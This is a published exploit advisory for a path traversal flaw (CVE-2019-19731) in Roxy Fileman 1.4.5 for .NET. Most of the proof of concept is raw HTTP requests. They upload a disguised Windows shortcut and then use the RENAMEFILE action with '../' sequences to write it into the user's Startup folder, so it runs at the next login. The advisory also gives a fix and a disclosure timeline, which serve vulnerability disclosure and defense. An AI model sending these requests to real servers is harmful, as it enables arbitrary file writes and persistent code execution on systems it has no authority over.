Roxy Fileman 1.4.5 - Directory Traversal

# Exploit Title: Roxy Fileman 1.4.5 - Directory Traversal
# Author: Patrik Lantz
# Date: 2019-12-06
# Software: Roxy Fileman
# Version: 1.4.5
# Vendor Homepage: http://www.roxyfileman.com/
# Software Link: http://www.roxyfileman.com/download.php?f=1.4.5-net
# CVE: CVE-2019-19731

Tested on: ASP.NET 4.0.30319 and Microsoft-IIS 10.0, Windows 10 Pro Build 17134 
(using custom account as application pool identity for the IIS worker process).


===========================
Description
===========================
Roxy Fileman 1.4.5 for .NET is vulnerable to path traversal which can lead to file write in arbitrary locations depending on 
the IIS worker process privileges. 
This PoC demonstrates a crafted Windows shortcut file being uploaded and written to the Startup folder. The execution
of this file will be triggered on the next login.


Proof of Concept
===========================

It's possible to write an uploaded file to arbitrary locations using the RENAMEFILE action.
The RenameFile function in main.ashx does not check if the new file name 'name' is a valid location.
Moreover, the default conf.json has an incomplete blacklist for file extensions which in this case
allows Windows shortcut files to be uploaded, alternatively existing files can be renamed to include 
the .lnk extension.

1) Create a shortcut file

By using for example the target executable C:\Windows\System32\Calc.exe
Remove the .lnk extension and rename it to use the .dat extension.


2) Upload the file 

Either upload the .dat file manually via the Roxy Fileman web interface
or programmatically using a HTTP POST request. 

Details of the request:

POST /wwwroot/fileman/asp_net/main.ashx?a=UPLOAD HTTP/1.1
Host: 127.0.0.1:50357
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------159382831523528
Content-Length: 924
Origin: http://127.0.0.1:50357
Connection: close
Referer: http://127.0.0.1:50357/wwwroot/fileman/
Cookie: roxyld=%2Fwwwroot%2Ffileman%2FUploads%2Ftest2; roxyview=list

-----------------------------159382831523528
Content-Disposition: form-data; name="action"

upload
-----------------------------159382831523528
Content-Disposition: form-data; name="method"

ajax
-----------------------------159382831523528
Content-Disposition: form-data; name="d"

/wwwroot/fileman/Uploads/test2
-----------------------------159382831523528
Content-Disposition: form-data; name="files[]"; filename="poc.dat"
Content-Type: application/octet-stream

...data omitted...
-----------------------------159382831523528--



3) Write the file to the Startup folder using the RENAMEFILE action
The new filename is set via the n parameter. The correct path can be identified by trial and error depending 
on the location of wwwroot on the filesystem and the privileges for the IIS worker process (w3wp.exe).

If the necessary directories do not exist, they can be created using the CREATEDIR action which also
is vulnerable to path traversal.


POST /wwwroot/fileman/asp_net/main.ashx?a=RENAMEFILE&f=%2Fwwwroot%2Ffileman%2FUploads%2FDocuments%2Fpoc.dat&n=../../../../../../../../AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/poc.txt.lnk HTTP/1.1
Host: 127.0.0.1:50357
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 66
Origin: http://127.0.0.1:50357
Connection: close
Referer: http://127.0.0.1:50357/wwwroot/fileman/
Cookie: roxyld=%2Fwwwroot%2Ffileman%2FUploads%2Ftest2; roxyview=list

f=%2Fwwwroot%2Ffileman%2FUploads%2Ftest2%2Fpoc.dat&n=poc.dat



Workaround / Fix:
===========================

Patch the main.ashx code in order to perform checks for all paths that they are valid in the following actions: 
CREATEDIR, COPYFILE and RENAMEFILE.

Recommendations for users of Roxy Fileman:
  - Add lnk file extension to the conf.json under FORBIDDEN_UPLOADS, and aspx since it is not included in the blacklist by default.



Timeline
===========================
2019-12-06: Discovered the vulnerability
2019-12-06: Reported to the vendor (vendor is unresponsive)
2019-12-11: Request CVE
2019-12-13: Advisory published

Discovered By:
===========================
Patrik Lantz